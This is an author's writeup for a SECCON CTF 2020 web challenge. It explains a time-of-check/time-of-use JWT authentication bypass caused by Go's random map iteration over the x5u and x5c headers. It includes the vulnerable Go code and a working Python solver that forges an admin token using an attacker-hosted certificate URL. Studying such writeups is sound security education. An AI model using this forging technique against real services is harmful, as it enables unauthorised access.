SECCON CTF 2020 - Author's Writeup for pasta
SECCON CTF 2020 was held from October 10th, 06:00 to October 11th, 06:00 UTC. This article explains the summary of a Web challenge named “pasta” from the author’s point of view.
Author
Challenge Summary
The challenge description was as follows.
I made a simple application with a proxy for authentication (http://localhost:8080). What’s fantastic is that you can log in to the application from the another app (http://localhost:8081). Enjoy!
You can run this challenge locally by running following commands.
wget https://diary.shift-js.info/files/pasta.380c77e0c87dbabdf7800adc0a8f1286.tar.gz
tar -zxcf pasta.380c77e0c87dbabdf7800adc0a8f1286.tar.gz
cd dist
docker-compose up -d --build
As you can see in the distributed files, “pasta” consists of some services, like:
service-a
: a service placed behindauth
andnginx
, including a flag.service-b
: a service that interactsauth
service with a certificate verified by the root CAauth
.auth
andnginx
: services working as an authentication proxy forservice-a
.
As far as I know, “pasta” verifies the ceritificate chain, validates user-provided JWT properly, and manages secret keys used in the system securely. Each process itself has no vulnerabilities.
Vulnerability and Intended Solution
With closer look, you would find that “check” and “use” of a certificate chain included in JWT header are separated completely. “Check”, which I mean the verification of the chain itself, is handled by calling validateTokenHeader()
in build/auth/main.go
. “Use”, which I mean the verification of JWT by the chain, is done by passing generateKeySelector(&privateKey.PublicKey)
as a key selector for the JWT to jwt.Parse
and checking token.Valid
at build/auth/main.go
.
This situation reminds us TOCTOU (Time of Check to Time of Use) issues; we can hack this app if we can give it two different JWTs for time of check and time of use!
Let’s dive into the implementation of validateTokenHeader()
and generateKeySelector(&privateKey.PublicKey)
.
func validateTokenHeader(token *jwt.Token, rootPool *x509.CertPool) bool {
// signing method must be RS256.
if _, ok := token.Method.(*jwt.SigningMethodRSA); !ok {
return false
}
// if x509 certs are specified in the JWT header,
// they must be verified with our root CA!
certs, ok := extractCertificateChainFromHeader(token)
return !ok || verifyCertificates(certs, rootPool)
}
func generateKeySelector(defaultKey *rsa.PublicKey) func(*jwt.Token) (interface{}, error) {
return func(token *jwt.Token) (interface{}, error) {
// if x509 cert(s) are specified in the JWT header, use the first cert of them.
certs, ok := extractCertificateChainFromHeader(token)
if ok {
firstKey, ok := certs[0].PublicKey.(*rsa.PublicKey)
if !ok {
return nil, fmt.Errorf("not a RSA public key")
}
return firstKey, nil
}
// if no keys are specified, use default key to validate.
return defaultKey, nil
}
}
As you can see, those two functions use the same function extractCertificateChainFromHeader()
to extract a certificate chain from the given JWT (i.e. token
). The implementation extractCertificateChainFromHeader()
is as follows.
func extractCertificateChainFromHeader(token *jwt.Token) ([]*x509.Certificate, bool) {
for k, v := range token.Header {
if k == "x5u" || k == "x5c" {
var certs []*x509.Certificate
var err error
if k == "x5u" {
certs, err = extractCertificatesX5U(v.(string))
} else if k == "x5c" {
certs, err = extractCertificatesX5C(v.([]interface{}))
}
return certs, err == nil
}
}
return nil, false
}
At first sight, extractCertificateChainFromHeader()
seems secure; it iterates over token.Header
to find header param named x5u
or x5c
and extracts a cert chain from the param found earlier. There seems to be no faults.
However, here’s an important point: the order of iteration over map
is random, as the following tiny PoC shows. You can run the PoC at here(go playground).
package main
import (
"fmt"
)
func iterate(m map[string]string){
for k, v := range m{
fmt.Printf("%s %s\n", k, v)
}
}
func main() {
test := map[string]string{"key01": "a", "key02": "b", "key03": "c"};
fmt.Printf("iteration 01\n")
iterate(test)
fmt.Printf("iteration 02\n")
iterate(test)
}
This behavior makes extractCertificateChainFromHeader()
work probabilistically! If the given JWT has the both of x5u
and x5c
and the function is called multiple times, it chooses either of them randomly, causing the different return value.
Hence, by including x5u
param specifying a self-crafted certificate chain and x5c
param with a valid certificate chain accuired from service-b, we can bypass two verifications (ok := validateTokenHeader(token, rootPool); !ok
and !token.Valid
with the public key selected by generateKeySelector(&privateKey.PublicKey)
) at once!
Here’s my solver for “pasta”.
# this PoC requires `pip install pyjwt requests`
import os
import jwt
import requests
from time import sleep
EVIL_CERT_URL = "https://gist.githubusercontent.com/lmt-swallow/9b9f07fbede7f2e5b1a2c0d8fc7cfd33/raw/46fc75f96b50bde260241647f27357119a7d5fc1/solver.crt"
PROXY_BASE = "http://localhost:8080"
SERVICE_B_BASE = "http://localhost:8081"
def extract_valid_x5c_of_b():
r = requests.post(SERVICE_B_BASE, data={
id: "test"
}, allow_redirects=False)
auth_token = r.headers['location'].split('?token=')[1]
headers = jwt.get_unverified_header(auth_token)
return headers['x5c']
if __name__ == '__main__':
# get a valid certificate chain from service b
valid_x5c = extract_valid_x5c_of_b()
# generate malicious JWT
with open('solver.key', 'rb') as f:
signing_key = f.read()
payload = {
"sub": "solver",
"issuer": "evil",
"role": "admin",
}
token = jwt.encode(payload, signing_key, algorithm='RS256', headers={
"x5u": EVIL_CERT_URL,
"x5c": valid_x5c,
}).decode()
# try to bypass authentication until we get the flag
for _ in range(0, 60):
r = requests.get(PROXY_BASE, headers={
"Cookie": "auth_token="+token,
})
if 'SECCON{' in r.text:
print(r.text)
exit(0)
else:
print("failed. going to retry after waiting 1s...")
sleep(1)
exit(1)
Unintended Solution
You can solve this challenge by the following steps:
- Generate a your own private key and corresponding certificate (chain).
- Send a crafted JWT which includes
x5u
param with the address of your own server and signed your own private key. - Return a valid certificate chain and your own certificate in this order.
This solution does not require randomness of extractCertificateChainFromHeader()
:pensive:
Notes
The challenge derives from dupe key confusion of SAML. I guess this kind of implementation bug — a TOCTOU bug caused by probabilistic behavior(s) — might be found at any moment.